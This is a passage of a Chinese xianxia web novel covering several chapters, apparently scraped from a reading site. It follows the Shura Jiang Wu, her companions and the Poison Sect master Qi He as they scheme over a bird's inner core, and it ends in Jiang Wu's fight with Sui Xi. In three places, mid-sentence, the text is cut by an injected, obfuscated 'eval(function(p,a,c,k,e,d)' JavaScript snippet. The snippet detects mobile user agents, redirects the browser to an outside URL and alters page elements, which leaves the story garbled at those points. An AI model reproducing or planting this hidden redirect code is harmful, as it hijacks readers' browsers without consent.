姜芜见婢女依旧在给她布菜,伸手按住了后者的手腕,扬了扬下颌示意她退下。 婢女抬眸看了一眼戚诃,得到后者的允许之后便起身走出了正厅。 姜芜在宽大衣袖的遮掩之下将瓷碟放在了矮几的一侧,然后将广袖中的寂满放了出来,另取了一枚酒杯,倒满了清露后放在寂满身侧,将银钗上的黑色蝴蝶引下放在了杯沿处。 戚诃说:“诸位若是没有要紧事,可以在扬州城内逗留几日,临近元日,可以好好领略一番扬州风貌。” 商扶庭说:“多谢门主好意,只是我们还有要事在身,恐怕无法久留。” 戚诃闻言看了一眼隋垂枝,随即放下了手中的酒杯,“你们的事情,垂枝已经同我讲过,事关人间大道之事便是每位修道之人的事,万毒门必定鼎力相助。避火的宝物万毒门也不少,虽然比不上荆州镇府的避火瓶,但可以略试一二。” 商扶庭思忖片刻,闻言起身抱拳,“多谢门主好意,那便劳烦门主了。” 姜芜擒着酒杯,意味不明地看着商扶庭,片刻后她便起身离席,找了一处凉亭闲坐,看池中的锦鲤摇尾游弋。 万毒门的内置精巧细腻,正厅出门右转便是一片湖景园林,湖中心立着小型的亭台楼阁,白玉石桥上雕刻着栩栩如生的祥云莲花纹。 姜芜依靠着围栏,身子探下去,以手指百无聊赖地画着水波。 雾沅飞来落在了姜芜的肩膀上,“商公子为何不让你打开顒鸟内丹?分明他也知晓戾气强悍得摧毁天地间的一切,反而要相信一个只见面几次的万毒门门主?” 姜芜手中拿着一块松糕,此时正碾碎了撒入池塘中,看着池中的鲤鱼争相抢夺,也是一种趣事,她漫不经心地说道:“怎么?这么简单的问题,你也想不明白吗?一个修罗和一个化神期的修士,你身为五行道宗的金丹期剑修,你更会相信谁?即便是他此时对我有了一丝的信任,我今日救了那几个修罗也足够把这丝信任磨灭。” 雾沅哑然,片刻后才说:“我以为......” “你以为?”姜芜打断了雾沅的话,“说得冷血一些,大家此行聚到一起都是各有所图,因为火鼠的提前死亡,使得我们没有得到火鼠皮毛来避火,商扶庭觉得顒鸟内丹放在我这里,能制衡我、消耗我,但如果放在他那里,他撑不了多久便会被烧成灰烬,如果你是商扶庭,无需我多说你大抵知晓该如何做。所以权衡利弊之下,放在我这里虽不妥,却最合适。” 雾沅若有所思地说:“尊主让我与寂满跟着你们,究竟是何目的?” 姜芜笑道:“总归不是赎罪,你也不要把他的话放在心上,妖尊认为你是个聪明人,说不定是让你们找到解开封印的机会,而不是为了什么劳什子赎罪。杀了几个人而已,就像人类杀了几头猪狗牛羊一样,根本不是什么值得挂心的事情。” 雾沅的双翅一震,顿时觉得遍体生寒,他此前一直沉浸于复仇和赎罪的赴死心境中,从未将所有的事情从头到尾理顺一遍,今日听过姜芜的此番解释,顿时有一种灵台清明的感觉。 姜芜用指尖轻轻触碰着蝴蝶的触角,“所以,我现下可以说出帮你复仇的要求了吗?” “你说。” “好好活下去,即便灭族之仇得报之后也要好好活下去。” 雾沅诧异地看着姜芜,嚅嗫片刻未曾说出一句话。 “好。” 姜芜见雾沅答应,脸上的笑意更深,“商扶庭起初是打算直奔荆州府寻得避火瓶,然后将两样东西带回长衡山,因为中途发生了隋垂枝的事情,再加之我们的计划,他不得不改道来往扬州。好巧不好,遇到了那几个修罗,他从中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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戚诃手法娴熟地清洗茶具,用滚水浸泡,从茶桶中取茶称茶,最后将冲好的茶倒进茶杯中,期间一直垂着眼眸,若不是姜芜在听他讲话,都以为他的心思一直在手中的茶具上。 “不知姜前辈是否有所耳闻,在您的师弟羽化之后,为何这近百年的修真界再无得道大能者?” 姜芜说:“九州各有修真宗派,扬州城的万毒门、荆州城萧家、交州内的天水阁、青州十方楼、并州守卫无幻之境结界的长灵族、冀州天都皇室培养的南斗、北斗,何来近百年无得道大能之说?再者现下长衡山五行道宗又有双璧,门主是否有些过于杞人忧天了。” 戚诃将茶盏放在姜芜面前,抬手示意,“太初圣人神陨至此已经三百二十八年,在此期间,大乘期修士少之又少,更别提又有谁能达到当年圣人距离成仙只有一步之遥的渡劫期了,五行道宗双璧尚且年轻,等他们成长起来,已经不知是何年了。当然,若是姜前辈愿意出世,自然是另当别论。” 姜芜起身走至石桌前,她执起茶杯抿着其中的茶水,“我记得此间修为最高者为荆州城萧氏萧舒延,已经是半步大乘期。在修真界,修为相当于凡人的官职,修为最高者自然有重权在手,与其独秀于林,不如百花齐放,能够阻挡妖怪与修罗,互为人间安宁便足够了。” 戚诃苦笑一声,“姜前辈此等修为境界,自然是不觉修为低者的阻境是困事,修仙问道又岂在匡扶大道?” 姜芜对于戚诃的野心淡然一笑,“之间发生了何事?” “圣人陨落两百一十五年之后便是七仙的时代,便是姜前辈所说的百花齐放,只不过也是昙花一现,七仙只剩了五行道宗斩魄剑主,重创之后多年闭关不出,生死不明。”戚诃说,“自此修真界式微,直至长衡双璧的出现才有了希望,但是他们年纪还小,修道之路漫漫。” 姜芜顿时了然如心,“戚门主会颠倒乾坤之术,却无法改天换日,所以今日是想问我起死回生之术,重现当年七仙荣光?” 戚诃摇首,神情诚恳地看着姜芜,“不,是为了我的私心。” “哦?私心?” 21. 咬钩 戚诃说:“姜前辈有所不知,当年七仙末期,突然出现一位来源难寻的妖人,七仙之中六仙皆死于他之手。万毒门前门主是鄙人的道侣,曾位七仙之列,我只想求她活,我只想让她活。” 姜芜神色不改地问道:“七仙是因何而死?” 戚诃如实道:“被妖人挖心而亡。” 姜芜的表情有一瞬间的僵硬,她垂眸准备喝茶,却见杯中早已经只剩几颗碎渣,一时之间手足无措。 戚诃见状连忙为姜芜倒茶,“是我的疏忽,过于沉醉往事了,还请前辈莫怪。” 雾沅也察觉到了姜芜的不对劲,七仙之事他也有所耳闻,当年修真界七位资质卓越的年轻人,冠绝九州,修为精进至大乘期,为心中大义结伴而行,除暴安良,斩妖灭魔,匡扶大道正义,却在短短一月的光景内相继被人挖心而亡,实在是令人唏嘘。 此事也传到了大荒妖界,挖心之人修为极高,来去无踪,甚至无法探究是修士、妖怪还是修罗,斩魄剑主曾孤身前往大荒昆仑山,询问此事妄图从妖尊处得到一些线索,最终无功而返。 现下见姜芜的神色,此事大抵是同修罗有关。 不过,雾沅不觉得挖心一事为修罗王党派所做,否则后者也不会在七仙死后继续按兵不动。 怕是其中的缘由是为世间所不知的。 雾沅心中有一个猜测,但是他不方便直截了当地去问姜芜。 姜芜捏着茶杯,指尖逐渐泛白,对戚诃开门见山道:“起死回生,怕是我也束手无策。” 戚诃心不死,神情却如常一般不变,“当真?” “渡劫期修士和神仙之间的天堑岂能是说说而已?”姜芜抬眸乜了戚诃一眼,“看戚门主的样子,似乎已经习以为常。” 戚诃嗤笑一声,“我能岂能不知起死回生乃逆天而行?这些年我也寻过不少偏方与异士,都是无疾而终,只能保她尸身不腐,神识不散。” “戚门主同道侣的感情令人艳羡。”姜芜说,“但为何不就此放过自己?也放过她呢。虽然放下不易,但久而久之容易形成业障,不利修行。” 戚诃不以为然地笑道:“为她散去这一身修为又如何?当若真有一日走火入魔而亡,碧落黄泉有她等我,又有何惧?只是我们之间还有太多遗憾与心愿未了,怎会甘心?” 姜芜垂眸不语。 戚诃也沉寂了下去,片刻后他的双眸迸发出一丝亮光,他目光灼灼地看着姜芜,“姜前辈,倘若我也予她一颗心,她会不会就此醒来?” 姜芜挑眉,“这么多年,你没试过吗?怕是能想到的办法都试过了吧,今日寻到我不过是黔驴技穷,来寻求一丝希望而已。” “是我天真了,是我异想天开了。”戚诃唇角露出一丝苦味,“长衡山之事,我一定鼎力相助,不过我听商小友说顒鸟内丹在姜前辈身上。” 姜芜放下茶盏,她笑吟吟地看着戚诃,心中了然,不禁感叹戚诃终于按捺不住露出了狐狸尾巴,“我并未带在身上,封印在了落脚的客栈,待明日我送至万毒门,亲自交于戚掌门手上。” “此等重要之物放在客栈,若被贼人盗取,岂不是功亏一篑?”戚诃说完便觉得有些不妥,他垂眸掩盖掉神情中的急切,“也好,在这之中越少人接触越好。明日巳时,我会让人前往明月楼请姜前辈再度光临。” “门主有心了。” 姜芜莞尔,她挥袖将茶具收回,随即起身往正厅走去。 戚诃神情复杂地看着姜芜,片刻后重重地叹了一口气。 姜芜踏入正厅,走至自己的座位旁将肚腹圆滚的寂满捞了起放入广袖中,“吃完了吗?我们该回去了。” 隋垂枝起身,“若是三位不嫌,可留宿门中。” 姜芜回绝,“不了,客栈之内还有重要之物未取,我已经同戚门主约定明日巳时再来。” 沈确欲言又止地看着隋垂枝,见商扶庭起身也跟着起身告辞。 隋垂枝说:“既然如此,我请李护法安排人送三位回去。” “不必如此客气,我们还想在扬州城四下逛逛,不劳烦圣女了。”说完,姜芜便转身向外走去。 三人回到扬州城内,原本杂乱的街道已经恢复正常,只剩屋顶的碎瓦昭示着几个时辰前的纷乱。 商扶庭抱着太初剑走进明月楼,他催促着沈确回房间休息,随后跟着姜芜去了她的房间。 姜芜正准备合上房门,却见商扶庭将太初剑抵在了房门上,强硬地阻止了姜芜的动作。 “有事吗?” 商扶庭眉目间布满愁云,“跟你谈谈。” 姜芜歪头看着商扶庭,如绸缎一般地墨发从肩头滑落,她用手抵着门,与他相抗衡,“你方才透支了那么多真元,现下应该好好去休息才是。” “不需要,我自己的身体我自己清楚。”商扶庭看着姜芜,脚下逼近一步,“戚门主同你说了何事?你今日的所作所为,真不把血契和同心咒放在眼里吗?还是说你本就是一个彻头彻尾的骗子?” “血契没有发作,你也没有用同心咒压我,说明我做的一切都是在合理范围之内,有什么问题吗?”姜芜看着与她一步之遥的商扶庭,后者因愤怒而加重的呼吸时不时喷洒在她的肩上,在扬州城冬日的干燥中带着一片潮意。 姜芜有些烦躁地推开商扶庭,“我同戚门主只是谈了一些修真界的往事,你还想知晓什么?” 商扶庭咬牙,手中的太初剑嗡鸣,“姜芜,不要对你答应过的事情出尔反尔。否则,我一定会杀了你!” “杀我?”姜芜勾唇,手上松了力道,房门瞬间大开,“小道士,你区区金丹期如何杀我?用你手中的太初剑吗?你已经试过一次了,不是吗?能杀得了我吗?别太得寸进尺。” 商扶庭一惊,慌忙后退几步,他抿着唇一言不发,神情倔强,片刻后转身离开。 商扶庭知晓自己的修为比不上姜芜,甚至只有在姜芜放海的时候才能与她过上几招,人人吹捧的天才又怎样,照样山外有山,人外有人。 姜芜本就是修罗,出手帮自己的同族并无不妥之处,只是她吃错了要才会倒戈,商扶庭心中别扭,从而延生出了怒火,他怕将来有一天姜芜清醒过来把一切都毁掉。 甚至商扶庭偶尔会想,如果姜芜不是个修罗该有多好,只是个他人口中避世不出的大能。 寂满从姜芜的广袖中滑出,落地变为人形,他舒展了一番筋骨,“终于不用再盘着了。” 雾沅看着商扶庭离开的方向,转头对姜芜说:“他心情似乎有些低落。” “小孩子,心气来得快散得也快,我要休息了。”姜芜说,“对了,我有事情找你们。” 寂满调侃道:“稀奇啊,真稀奇,居然还有事情能难倒你?” 姜芜轻哼了一声,“毕竟我不擅长制作幻境。” 雾沅问道:“何事需要帮忙?” “帮我伪造一颗内丹。” 【万毒门】 隋垂枝做了一个梦。 十岁的隋垂枝赤/身/裸/体地从虫窟内走了出来,她瑟瑟发抖,奶白色的酮体被蛊虫啃食至毫无完肤,针尖大的伤口密密麻麻地往外溢着鲜血。 李先寻取过一旁放置的毛毯,俯身覆盖在了隋垂枝的身上。 “感觉怎么样?” 隋垂枝用毛毯将自己裹了起来,她的双眸空洞又无神,无知无觉地流着眼泪,等着体内稀薄的真元运转将毒素排出去。 李先寻俯身将她单手抱起,另一只手拎着食盒走出了虫窟。 隋垂枝被抱到了戚诃的暖阁内,李先寻将她放在美人榻上,俯身将食盒内的甜汤取了出来,他用手心贴着碗面,将有些发凉的甜汤用真元烘热。 外间大雪纷飞,硕大的雪花砸在窗棂上,形成一阵杂乱的声音,暖阁内很暖,足够温暖隋垂枝冻得青紫的身体。 “先吃点东西吧。” 隋垂枝回过神,她小心翼翼地伸手去捧李先寻手中的碗,皮肉模糊的双手因为疼痛而颤抖着。 李先寻见状按下了隋垂枝的双手,他垂眸用勺子搅了搅浓稠的甜汤,“张嘴。” 隋垂枝看着勺中撒着桂花的糯米团子,先是凑近尝了尝味道,随后才张嘴将弹牙的糯米团子吃入口中。 李先寻问道:“好吃吗?” 隋垂枝点了点头,露出一丝餍足的笑容,“好吃,很甜。” 戚诃将处理完门内的事物,起身从屏风后绕了出来,他看着吃完的桂花糯米甜汤,对李先寻说:“再去给她温一碗牛乳来。” 隋垂枝见李先寻要走,伸手扯住了他的衣角,“李护法,可以在牛乳里家一些桂花蜜吗?” 李先寻询问般地看着戚诃,在得到后者肯定的眼神后,颔首对隋垂枝说好。 戚诃走至隋垂枝身侧坐下,从袖袋中取出一瓶药膏,准备替她擦药。 隋垂枝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15106431|163894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见状急忙拽着毛毯伏地跪拜,神情惊慌地说:“门主,这不合规矩。” “没有什么规矩不规矩。”戚诃俯身将隋垂枝托起,让她在榻上坐好,随即垂眸为她上药,“你的苦,我都知晓,只是我没想到你会坚持这么久。” 冰凉的药膏擦到伤口上有些刺痛,隋垂枝瑟缩了一下,右手却被戚诃死死地拽住,“门主救我一命,赐予我新生,我无以为报。所以,只要门主希望我做的事情,我都会去做。” 戚诃问道:“枝枝,你将来会后悔吗?成为圣女,以后要隔绝一切活物,相当于你活在一个死亡的世界里。” 隋垂枝咬了咬唇角,“死亡的世界......那里会有桂花蜜吗?” “当然会有,桂花花蜜都会有。”戚诃微微一笑,“枝枝,选择成为万毒门圣女没有回头路可以走,但是如果你将来后悔了,我会给你一次重新选择的机会。” 隋垂枝想起那一锅乳白软烂的肉汤,急切地摇了摇头,很快她的双眸中便溢出了泪水,“不,我不要回到我的父母身边,我……我害怕……” 戚诃收起药膏,他取出帕子将手指擦干净,伸手拭去隋垂枝脸上的泪水,“不会,我不会将你送回去的,你已经拜入了我门下,一辈子都会是万毒门的教徒。” 隋垂枝吸了吸鼻子,“门主,你为何会对我这么好?” 戚诃思忖了片刻,“你就当作我是为了补偿你吧,你的人生本不该如此。以后的路会更难,或许你会在某个午夜梦回之时会希望自己死在被父母送出去的时刻。” 隋垂枝神情急切地说:不会的,门主,我不会这么想的,在我这里,没有什么比活着更重要的事情了。” “哪怕活得像一只笼中鸟吗?鸟儿天生有双翼,却无法用来飞翔,你天生拥有健全的四肢,却无法行走奔跑。”戚诃伸手抚摸着隋垂枝的头发,“枝枝,你真是一个乖孩子。” 隋垂枝从梦中转醒,她伸手摸了摸自己隆起的腹部,扬声对外间说:“端一份桂花糯米圆子来。” 【扬州城明月楼客栈】 月上树梢,夜风带着寒意流窜过大街小巷,连带着扑灭了白日里热闹的叫卖声。 姜芜惊醒,她迅速从床榻上坐了起来,有些茫然地看着四周。 房间内只有外间点着灯,香炉内焚着熏香,烟雾徐徐上升,一股奇异的香味充斥在房间中。 “醒了?” 姜芜还不曾回神,只是怔怔地看着眼前的人。 睢羲伸手把姜芜脸上的热汗擦拭干净,动作轻柔,“很热吗?怎么发了这么多汗?内衫湿了,要换吗?” 外间烛火透过屏风透进来,影影绰绰看不真切,恍若浮生梦中梦。 姜芜凑过去靠近睢羲的怀中,声音发涩,“好像做了个梦,但是又记不得内容了,总觉得心悸。” 睢羲身体一僵,片刻后他将姜芜拥紧,合上双眸埋入她的长发之中,贪恋着久违的气息,低声安慰道:“那便不要想了,都不重要,吃些东西吗?” 姜芜摇了摇头,香薰残留的不多,药效正在减弱,她靠着最后的一缕,让自己沉溺于浮生梦中。 睢羲凑上前,吻了吻前些时日被他弄伤的地方。 “雕刻一个木偶,原来这么简单吗?间隔时间这么短,你是不要命了吗?” 睢羲闻言松开了姜芜,他看着后者的双眸,勾唇狞笑,“毕竟我最不缺的便是时间,濯濯,你的警惕性变低了,一点点幻境迷香也能让你沉醉?” 姜芜抬手欲掐诀,却被睢羲卡着脖颈按在了床榻上。 “我现在有个人族的名字,叫姜芜。” 睢羲冷笑,“是吗?换个名字便能抛弃过去的一切吗?成千上万年的法力说给便给,戾气说送就送,你当真觉得自己盖世无双?舍弃的那些九牛一毛,不值一提?” 姜芜松开手,她微微叹了口气,“本意是让你取我的心脏,但是思来想去你也不会弄伤这具你等了几千年的身体。” 睢羲手上用了些力气,“这些年取得心脏还不够吗?” 姜芜垂眸,神情有些暗淡,她想起今日之事,咬着舌尖不再开口。 睢羲见状,脸上露出一丝狰狞,他的手掌上移,用拇指和无名指扼住姜芜的牙关,食指与中指并拢探了进去。 “说话。” 姜芜神情痛苦地低吟一声,她将睢羲的手抵远,喘匀了气才说:“够了,但是还不够。” 22. 生故 姜芜说完,抬眸看向了睢羲,随即运掌朝他袭去。 睢羲不费吹灰之力便化解了姜芜的招式,重新将她反制在床榻上,欣赏着她姿态狼狈的模样,“姜芜,你耗费了那么多的戾气,早已不是我的对手。” “是吗?” 姜芜面无表情地看着睢羲,悄无声息地掐诀,一道赤红色的光箭朝着睢羲后心的方向而来。 睢羲若是抽身躲避,这么短的距离姜芜必定躲闪不及。 睢羲敛眸,手上松了力道,把姜芜拢在自己身下。 姜芜趁机虚空一握,将光箭捉在手中,她抓着睢羲的衣领,颠倒二人的位置,丝毫没有犹豫地刺入睢羲的胸口,她看着睢羲的眼眸,呼吸逐渐急促。 “回去吧,回无幻之境去,别再出来了。” 睢羲呛出一口鲜血,殷红的血加深了他面容的诡谲艳丽,显得更为妖冶,像一条危险的毒蛇。 鲜血喷溅在姜芜的衣服上,像有意识一般浸染、侵蚀,最终留下点点余烬。 戾气强悍,可摧毁天地万物。修罗从戾气中诞生,浑身流淌的血液也具有极强的腐蚀性。 睢羲不气反笑,他抬眸看着姜芜,勾人的双眸中满是温情笑意,眼底一片猩红,“次次如此,为何不直接杀了我?以绝后患。” 姜芜闭了闭双眸,她松开手中光箭,起身后退,从木施上取过披风准备离开房间。 睢羲抚上自己胸前的伤口,阻止了戾气继续修复伤口,这种程度对于他来说不过是皮外伤,他在意得更多是姜芜的态度与想法。 扬手的瞬间,整个房间的所有入口都被他封锁。 姜芜停住脚步,她看着房门上的戾气封印,转身看着睢羲一步一步地从内间走出来。 睢羲抬眸看了姜芜一眼,随后用桌上的凉茶浇灭了香炉中的熏香,“今日来主要是想同你叙叙旧。” “叙旧?” 姜芜蹙眉,神情怪异地看着睢羲,藏在广袖中的手指暗暗掐诀,“为何要同我叙旧?” 睢羲用修为烘热了桌上的热茶,他自顾自地给自己倒了一杯,“正事和私事,你想先从哪件开始?” “你来寻我,还有正事和私事之分?”姜芜怒极反笑,“正好,我也有事情要问你。” 睢羲挑眉,“哦?你先说还是我先说?” 姜芜闻言也不同睢羲客气,“你同苍旻做了什么见不得人的交易?还有,若木之根拿来。” “见不得人的交易?合作共赢而已。”睢羲不带丝毫感情的笑了一声,“你愿意亲近人族,所有都对人族不利的事情都是见不得人的。若木之根在我这里,你想要吗?” 睢羲说完之后,将袖袋中的若木之根取出放在了桌面上,“就在这里,你可以来拿。” 姜芜看了一眼若木之根,然后缓步走上前,她警惕地看着睢羲,并没有直接取走,“你要什么?” 睢羲唇角浮现出一丝嘲讽,“我要何物?你想要若木之根,便拿顒鸟精火来换。” 姜芜蹙眉,“为何?” 睢羲语气随意地说:“家里远中的杂草太乱了,想一把火直接烧掉。” 姜芜不解地说:“拔掉不行吗?或者你随意一把火便能烧掉,为何非要用顒鸟精火?” 睢羲抬眸看向姜芜,“因为我想用顒鸟精火烧,不可吗?” 姜芜有些犯愁地揉了揉眉心,“这姑且算私事,正事是什么?” 睢羲端起茶盏,抿了一口茶水才开口,“关于修罗王的事情,他说扬州城内有个小麻烦,让我来解决一下。” “季易他们?你这次是同他们一起的?”姜芜想起白日遇到的那几个修罗,“修罗王居然会找到你,真是不可思议,更何况你居然真的来了,你不是从来不管这些事情吗?” “看来你已经遇到了,为何不会?”说完,睢羲起身把姜芜拉至身后,他抬手一会,黑色的袖袍翻飞,一股黑色的戾气如同大雾一般炸开。 商扶庭手持太初剑破门而来,蓝色的剑光大盛。 睢羲看到来着的面容,神色一寒,手腕一翻直击商扶庭的胸口。 商扶庭见状立刻收剑格挡,他后退几步,以剑撑地,伸手擦去唇角的鲜血。 姜芜快步从睢羲的身后走出,她伸手扶起商扶庭,压下胸口翻涌的血气,面色平静地说:“不要同他硬碰硬,你不是他的对手。” 商扶庭看了姜芜一眼,随即抬眸看向睢羲。 强大的修罗背光而战,烛光映在他长袍之上,仿佛有火光在流淌,墨发倾泻,未束发冠,只用了两条银链浅浅一别,碎发垂在身前,迎风而动。此时正静静地看着他,面上无悲无喜。 商扶庭甚至觉得睢羲并没有在看他,而是透过他的身体在看别处。 商扶庭出声问道:“他是谁?” 姜芜沉默。 商扶庭蹙眉,语气有些急切,“若木之根是不是在他那里?” 姜芜准备起身,却被商扶庭一把扯住了手腕。 “姜芜!你忘记过你之前承诺过何事吗?” 商扶庭手上用了绝对的力气,几乎把姜芜的腕子捏碎。 睢羲见状下颌紧绷,面露凶相,他抬手的瞬间,暴戾的法术立刻袭向商扶庭。 姜芜立刻推开商扶庭,抬手挡住了睢羲的攻击。 睢羲面色动容,见状立刻停手,面色阴沉地看着姜芜,“你们不是要取天河之水还有五彩之石吗?之前段怀野在无幻之境尚且具有自保能力,拼上半条命也能在其中走个来回,而他此时只是面对我一个修罗而已,便需要你护着,你又能护他多久呢?” 商扶庭偏过头,“我不需要你救。” 睢羲垂眸,他轻轻地叹了一口气,“可惜,你的好意他并不领情。非我族类,其心必异的道理,还需要我再重复给你吗?看来段怀野的事情还不足以成为一个教训。” 商扶庭握紧了太初剑,他双眸赤红,口中重复了睢羲的话,“非我族类,其心必异。”说完,他便腾空跃起,将真元灌注于太初剑上,朝着睢羲刺了过去。 “太初剑?你还不够格。” 睢羲侧身,太初剑的剑身擦着他的脸颊而过,他屈指一弹,太初剑立刻偏离原轨,商扶庭的身体撞断屏风飞了出去。 姜芜摇了摇头,有些无奈地叹了口气,“他不过是一个金丹期的修士,何苦要同他过不去。” 商扶庭翻身呕出一口鲜血,他怒视着睢羲,牙关咬得咯咯作响。 雾沅和寂满闻声赶来,站在门口看着一地的狼藉,顿时进退两难。 寂满局促地看了一眼姜芜和睢羲,又看了一眼重伤倒地的商扶庭,犹豫了片刻,凭借着对姜芜的信任,最终还是走上前,“哎呀,他还只是个孩子,不用下这么重的手吧?是吧?是吧。”说完,他伸手将商扶庭搀扶了起来。 睢羲面无表情地看着商扶庭,片刻后他移开目光看向了姜芜,目光沉沉,身体化作一阵罡风破窗离开。 寂满长长地舒了一口气,他往衣服上擦了擦手上的冷汗,“小道士,你也是,打不过可以跑嘛,非要跟他硬碰硬。人族有句话说得好,留得青山在不怕没柴烧,该求饶时就求饶。” 商扶庭在寂满地搀扶下站了起来,他伸手擦了一下唇角的鲜血,目光灼灼,直视着姜芜,“他是来找你的?” 姜芜挑眉,脸上又挂上了那副不达眼底的笑容,“显而易见。” 商扶庭逼问道:“你们在合谋什么?顒鸟内丹是否还在你身上。” “当然在我身上。”姜芜垂眸看了一眼逼近的太初剑,缓缓地抬起了下颌,锋利的剑尖抵着她搏动的血管,“并没有合谋什么,他此行的目的并不在我。” 寂满神情不满地看着商扶庭的举动,“臭道士,你做什么?” 商扶庭咬牙切齿地说:“总归他是来找你的,不是吗?” 雾沅也走了过来,只身挡在了姜芜的面前,神情警惕地看着商扶庭,“商公子,我劝你不要这么做,你心中有怨气,我们可以理解,但是你为何要为难姜芜?” 姜芜颔首,“是,他是来找我的,但这是一件再正常不过的事情,就像你之前所好奇的,我同睢羲是何种关系。以你们修道之人的关系来定义,道侣更为合适,但并不确切。” 商扶庭神情有一瞬间的挣扎,片刻后他收起了太初剑走了出去。 “哎!” 寂满出声想喊住商扶庭,随即又作罢。 姜芜身形一晃,随即口中喷出一口鲜血,血契的作用在压制之后加倍反噬,伴随而来的还有从内府烧上来的顒鸟精火的灼气。 雾沅伸手扶住姜芜,“为何会受这么重的伤?” 姜芜喘了几口粗气,面上的痛苦一览无余,她引了自己手腕上的黑色戾气入眉心,躁动的气血不消片刻便停歇了下来。 寂满不解地问道:“你和睢羲不是道侣吗?他居然对你也下这么重的手吗?” “他没有对我出手,这是血契的反噬。”姜芜垂眸揉了揉自己腕骨上淤痕,“几时天了?” 雾沅说:“快丑时了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15106432|163894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 姜芜闻声打了个哈欠,“去万毒门前还能再睡片刻,毕竟戚诃可没有睢羲这么好应付,我要再睡一觉,你们记得帮我把门关好。” 寂满神情震惊地说:“哇,都这个样了,你还有心情睡觉?!” 姜芜一边活动筋骨,一边往内间走去,挥手的瞬间将破碎的屏风修复如初,“怎样了?天又没塌下来,不睡觉要做何事?” 雾沅见状,拉着寂满走出了姜芜的房间,“你好好休息。”说完,他便将房门关好。 寂满挠了挠头发,后知后觉地说:“我终于知道睢羲为何对商扶庭下狠手了,一个金丹期修士、小屁孩而已,这么斤斤计较是有原因的。” 雾沅问道:“为何?” 寂满震惊地瞪大了双眸,“别人把你媳妇打成这样,你愿意啊?” 雾沅恍然大悟,“有道理。” 寂满得意地笑了起来,他拍了拍自己的胸膛,扬着下巴自豪地说:“是吧,我多聪明啊。” 第二日一早,姜芜下楼时四人已经在大堂吃起了早饭。 雾沅端了一碗温热的粥放在姜芜面前,见后者黑眼珠上蒙着一层血气,不禁担忧地问道:“昨晚睡得好吗?这粥还有些烫口,慢点喝。” 姜芜坐在桌边,她拿着勺子搅了搅碗中浓稠的小米粥,“睡得还不错。” 商扶庭看了一眼姜芜,见后者神态如常,仿佛昨晚的一切都没有发生,只是他独自做了一场光怪陆离的梦,顿时觉得怒火中烧。 商扶庭冷哼了一声,他将空粥碗重重地放在桌上,随即起身离席。 饭桌上祥和的顿时被打破。 “师兄?”沈确关切地看向商扶庭,“你怎么了?” 商扶庭头也不回地说:“没事,你继续吃。” 寂满被商扶庭的举动吓了一跳,“莫名其妙,大早上怎么这么大的火气?” 雾沅看了姜芜一眼,“倒是挺记仇,不过也是莫名其妙的。” 沈确看了一眼桌上其余的三人,试探地问道:“昨晚是发生何事了吗?” 商扶庭一路来到了明月楼的后院,他沐浴在晨曦的阳光之中,愤怒地喘着粗气,他看着手中的太初剑,剑鞘在他的手中被握得咯咯作响。 商扶庭引剑出鞘,在院子中杂乱无章地走了一套五行剑法。 商扶庭并没有进行最后的收剑,他将太初剑直直地插/入地面,半躬着身体喘着粗气,额头上密密麻麻地汗珠流淌进眼睫中,刺得他双眸生痛。 商扶庭自觉这样会让体内真气乱窜,他合上双眸调整了一番呼吸,默念起了清静经,随着体表汗水的蒸发,他整个人的心境也慢慢地沉了下来。 一阵刺耳的咀嚼声传进了商扶庭的耳中,生肉富有极强的弹性,牙齿难以第一时间咬断,两者相互挤压出十分滑腻的声音。 商扶庭睁开双眸,缓缓地站直了身体,随后他将太初剑收回剑鞘,朝着声源处走去。 明月楼的牲口棚在后院的角落处,跟旱厕靠在一处,所有的气味混合在一起,让这处地方十分的难闻。 商扶庭闻到了一股血腥味,他揉了揉鼻子,只见一人缩在牲口棚的角落,身体不断地耸动着,周围的杂草中散落着一些新鲜的碎肉与家畜的毛发。 商扶庭四下看了看,他小心谨慎地靠近那人,拇指将太初剑推出一指长的位置。 “喂!” 商扶庭上前拍了拍那人的肩膀。 店小二双手捧着一坨碎肉,口鼻之处沾满了鲜血,嘴角还有禽类的绒毛。他转头看着商扶庭,双眸生翳,神情呆滞,如同护食一般龇牙,喉头间发出嘶嘶地低吼声,恍若一只野兽。 商扶庭大骇,他周身紧绷,神情戒备,双眸一瞬不瞬地盯着店小二,片刻后才想起用术法探查。 店小二也只是呆呆地看着他,并没有做出任何攻击性地举动,见商扶庭并没有抢夺他手中生肉的意向,才低头继续啃食手中的生肉。 商扶庭的术法在店小二身上流转了一圈,并没有发现任何异常,面前如同野兽一般的店小二虽然怪异,但本质是人无疑,而且他身上也没有任何术、咒或者毒的痕迹。 商扶庭蹙眉,他不是灵修看得并不准确,对于这件事他不好太武断,如果年前是妖怪或者修罗,他大可以将其斩杀于太初剑下,但是现在在他面前的是一个活生生的人。 商扶庭思及此处,立刻传讯给了沈确,请她前来查看。 店小二将手中生肉骨架一扔,转身直扑商扶庭。 “师兄!” 23. 法师 